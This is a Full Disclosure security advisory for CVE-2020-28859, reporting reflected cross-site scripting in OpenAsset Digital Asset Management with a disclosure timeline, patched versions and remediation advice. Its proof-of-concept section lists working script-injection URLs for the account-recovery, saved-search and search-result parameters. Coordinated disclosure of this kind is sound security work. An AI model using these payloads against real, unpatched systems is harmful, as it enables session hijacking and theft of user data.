Message-ID: <SYBPR01MB42523740E8183B21F7F644DE80CB0@SYBPR01MB4252.ausprd01.prod.outlook.com>
Date: Thu, 10 Dec 2020 07:59:49 +0000
From: Jack Misiura via Fulldisclosure <fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Reflected cross-site scripting (XSS) in OpenAsset Digital
 Asset Management 11.2.1/12.0.19 disclosure

Title: Reflected cross-site scripting (XSS)

 

Product: OpenAsset Digital Asset Management by OpenAsset

 

Vendor Homepage: https://www.openasset.com/

 

Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)

 

Fixed Version: 12.0.22 (Cloud) 11.4.10 (On-premise)

 

CVE Number: CVE-2020-28859

 

Author: Jack Misiura from The Missing Link 

 

Website: https://www.themissinglink.com.au

 

Timeline:

 

2020-11-14 Disclosed to Vendor

2020-12-04 Vendor releases final patches

2020-12-10 Publication

 

1. Vulnerability Description

 

Multiple reflected cross-site scripting (XSS) vulnerabilities in the OpenAsset Digital Asset Management software allows remote attackers to inject arbitrary JavaScript or HTML via:

* Account recovery/password reset page through the email parameter

* Saved search request, through the id parameter

* Search result request, through both the imageViewId and lpFilterInputId parameters

 

2. PoC

 

Account recovery:

https://example.com/Page/StartAccountRecovery?ok=1 <https://example.com/Page/StartAccountRecovery?ok=1&email=test%40test%3cscript%3ealert(document.cookie)%3c%2Fscript%3e.com> &email=test%40test<script>alert(document.cookie)<%2Fscript>.com

 

Saved search request:

https://example.com/AJAXPage/SavedSearch?id=167826 <https://example.com/AJAXPage/SavedSearch?id=167826%22')%3b%7d%3b%7d%5d%7d)%3b%3c/script%3e%3cscript%3ealert(%22Reflected%20XSS!%22)%3b%3c/script> "')%3b}%3b}]})%3b</script><script>alert("Reflected%20XSS!")%3b</script>

"');}}}]});alert(123);

 

Search result request:

https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript <https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript%3ealert(%22more+xss+here%22)%3b%3c/script> >alert("more+xss+here")%3b</script>

 

3. Solution

 

The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.

 

4. Advisory URL

 

https://www.themissinglink.com.au/security-advisories

 






Jack Misiura​


Application Security Consultant




a



9‑11 Dickson Avenue


Artarmon


NSW


2064



p


1300 865 865



os


+61 2 8436 8585



w


 <https://www.themissinglink.com.au/> themissinglink.com.au








 



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